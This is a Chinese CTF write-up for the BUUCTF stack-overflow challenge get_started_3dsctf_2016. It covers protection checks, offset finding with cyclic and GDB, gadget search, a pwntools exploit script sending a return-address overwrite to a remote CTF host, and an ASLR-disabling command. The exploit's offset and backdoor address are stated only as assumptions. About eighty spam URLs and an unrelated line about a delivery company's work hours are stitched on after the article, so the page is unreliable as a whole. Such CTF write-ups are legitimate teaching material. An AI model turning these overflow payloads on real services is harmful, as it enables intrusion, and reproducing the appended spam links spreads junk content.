BUUCTF栈溢出实战:get_started_3dsctf_2016
题目概述
BUUCTF中的get_started_3dsctf_2016是一道经典的栈溢出题目,考察基础的ROP(Return-Oriented Programming)利用技巧。题目提供了一个32位ELF程序,存在明显的栈溢出漏洞,目标是通过覆盖返回地址控制程序执行流,最终获取flag。
漏洞分析
使用checksec检查程序保护机制,通常会发现以下情况:
- NX Enabled:栈不可执行,需通过ROP绕过。
- No Canary:无栈保护,可直接覆盖返回地址。
- No PIE:程序基地址固定,便于计算gadget地址。
通过反编译工具(如Ghidra或IDA)分析程序逻辑,可发现main函数调用了存在栈溢出的函数(如gets或scanf),且未限制输入长度。
利用步骤
1. 确定偏移量
通过动态调试(如GDB)或静态分析,计算输入缓冲区到返回地址的偏移。常见方法:
- 使用
cyclic生成测试字符串,触发崩溃后通过eip值计算偏移。 - 示例命令:
cyclic 200 gdb ./get_started_3dsctf_2016 run < <(cyclic 200)
2. 构造ROP链
目标通常是调用system("/bin/sh")或读取flag文件。若题目提供了后门函数(如get_flag),可直接覆盖返回地址至该函数。否则需构造完整ROP链:
- 泄露libc地址(如有必要)。
- 调用
system或execve。
3. 获取gadget地址
使用ROPgadget或ropper查找关键指令:
ROPgadget --binary ./get_started_3dsctf_2016 | grep "pop eax"
关键gadget示例:
pop eax; ret:用于设置参数。int 0x80:32位系统调用指令。
4. 编写EXP
以下是一个典型利用脚本(Python3 + pwntools):
from pwn import *
context(arch='i386', os='linux')
elf = ELF('./get_started_3dsctf_2016')
# 假设偏移为140,后门函数地址为0x080489A0
offset = 140
backdoor = 0x080489A0
payload = b'A' * offset + p32(backdoor)
p = remote('node4.buuoj.cn', 12345) # 替换为实际地址
p.sendline(payload)
p.interactive()
注意事项
- 若题目环境无
/bin/sh,需手动写入字符串到可写内存区域。 - 32位系统调用需通过
int 0x80触发,参数顺序为eax(系统调用号)、ebx、ecx、edx等。 - 动态调试时注意ASLR影响,本地测试建议关闭ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
总结
该题目通过栈溢出覆盖返回地址,结合ROP技术实现任意代码执行。核心在于精确计算偏移、合理利用gadget构造调用链。实际比赛中需根据题目环境调整参数,如libc版本、文件路径等。
BbS.okacop020.info/PoSt/1120_212768.HtM
BbS.okacop021.info/PoSt/1120_917719.HtM
BbS.okacop022.info/PoSt/1120_421138.HtM
BbS.okacop023.info/PoSt/1120_010595.HtM
BbS.okacop024.info/PoSt/1120_475951.HtM
BbS.okacop025.info/PoSt/1120_845814.HtM
BbS.okacop026.info/PoSt/1120_369978.HtM
BbS.okacop027.info/PoSt/1120_076852.HtM
BbS.okacop028.info/PoSt/1120_286049.HtM
BbS.okacop029.info/PoSt/1120_373200.HtM
BbS.okacop020.info/PoSt/1120_011043.HtM
BbS.okacop021.info/PoSt/1120_184803.HtM
BbS.okacop022.info/PoSt/1120_531267.HtM
BbS.okacop023.info/PoSt/1120_130686.HtM
BbS.okacop024.info/PoSt/1120_409376.HtM
BbS.okacop025.info/PoSt/1120_473124.HtM
BbS.okacop026.info/PoSt/1120_048904.HtM
BbS.okacop027.info/PoSt/1120_029267.HtM
BbS.okacop028.info/PoSt/1120_909465.HtM
BbS.okacop029.info/PoSt/1120_441692.HtM
BbS.okacop020.info/PoSt/1120_864229.HtM
BbS.okacop021.info/PoSt/1120_790058.HtM
BbS.okacop022.info/PoSt/1120_073984.HtM
BbS.okacop023.info/PoSt/1120_312744.HtM
BbS.okacop024.info/PoSt/1120_219210.HtM
BbS.okacop025.info/PoSt/1120_464860.HtM
BbS.okacop026.info/PoSt/1120_057485.HtM
BbS.okacop027.info/PoSt/1120_090379.HtM
BbS.okacop028.info/PoSt/1120_854860.HtM
BbS.okacop029.info/PoSt/1120_634259.HtM
BbS.okacop030.info/PoSt/1120_446837.HtM
BbS.okacop031.info/PoSt/1120_298570.HtM
BbS.okacop032.info/PoSt/1120_527275.HtM
BbS.okacop033.info/PoSt/1120_891776.HtM
BbS.okacop034.info/PoSt/1120_131814.HtM
BbS.okacop035.info/PoSt/1120_571355.HtM
BbS.okacop036.info/PoSt/1120_947947.HtM
BbS.okacop037.info/PoSt/1120_534533.HtM
BbS.okacop038.info/PoSt/1120_044678.HtM
BbS.okacop039.info/PoSt/1120_943380.HtM
BbS.okacop030.info/PoSt/1120_215151.HtM
BbS.okacop031.info/PoSt/1120_666933.HtM
BbS.okacop032.info/PoSt/1120_831030.HtM
BbS.okacop033.info/PoSt/1120_451815.HtM
BbS.okacop034.info/PoSt/1120_965234.HtM
BbS.okacop035.info/PoSt/1120_602597.HtM
BbS.okacop036.info/PoSt/1120_009346.HtM
BbS.okacop037.info/PoSt/1120_684858.HtM
BbS.okacop038.info/PoSt/1120_348097.HtM
BbS.okacop039.info/PoSt/1120_710905.HtM
BbS.okacop030.info/PoSt/1120_273766.HtM
BbS.okacop031.info/PoSt/1120_889482.HtM
BbS.okacop032.info/PoSt/1120_927856.HtM
BbS.okacop033.info/PoSt/1120_481687.HtM
BbS.okacop034.info/PoSt/1120_832881.HtM
BbS.okacop035.info/PoSt/1120_682115.HtM
BbS.okacop036.info/PoSt/1120_420959.HtM
BbS.okacop037.info/PoSt/1120_759053.HtM
BbS.okacop038.info/PoSt/1120_909618.HtM
BbS.okacop039.info/PoSt/1120_524225.HtM
BbS.okacop030.info/PoSt/1120_107020.HtM
BbS.okacop031.info/PoSt/1120_776970.HtM
BbS.okacop032.info/PoSt/1120_007422.HtM
BbS.okacop033.info/PoSt/1120_306980.HtM
BbS.okacop034.info/PoSt/1120_637069.HtM
BbS.okacop035.info/PoSt/1120_715522.HtM
BbS.okacop036.info/PoSt/1120_141596.HtM
BbS.okacop037.info/PoSt/1120_883750.HtM
BbS.okacop038.info/PoSt/1120_057933.HtM
BbS.okacop039.info/PoSt/1120_349522.HtM
BbS.okacop030.info/PoSt/1120_605748.HtM
BbS.okacop031.info/PoSt/1120_791152.HtM
BbS.okacop032.info/PoSt/1120_097561.HtM
BbS.okacop033.info/PoSt/1120_331599.HtM
BbS.okacop034.info/PoSt/1120_162408.HtM
BbS.okacop035.info/PoSt/1120_438370.HtM
BbS.okacop036.info/PoSt/1120_664277.HtM
BbS.okacop037.info/PoSt/1120_987500.HtM
BbS.okacop038.info/PoSt/1120_227288.HtM
BbS.okacop039.info/PoSt/1120_376509.HtM
顺丰集团工作强度 321人发布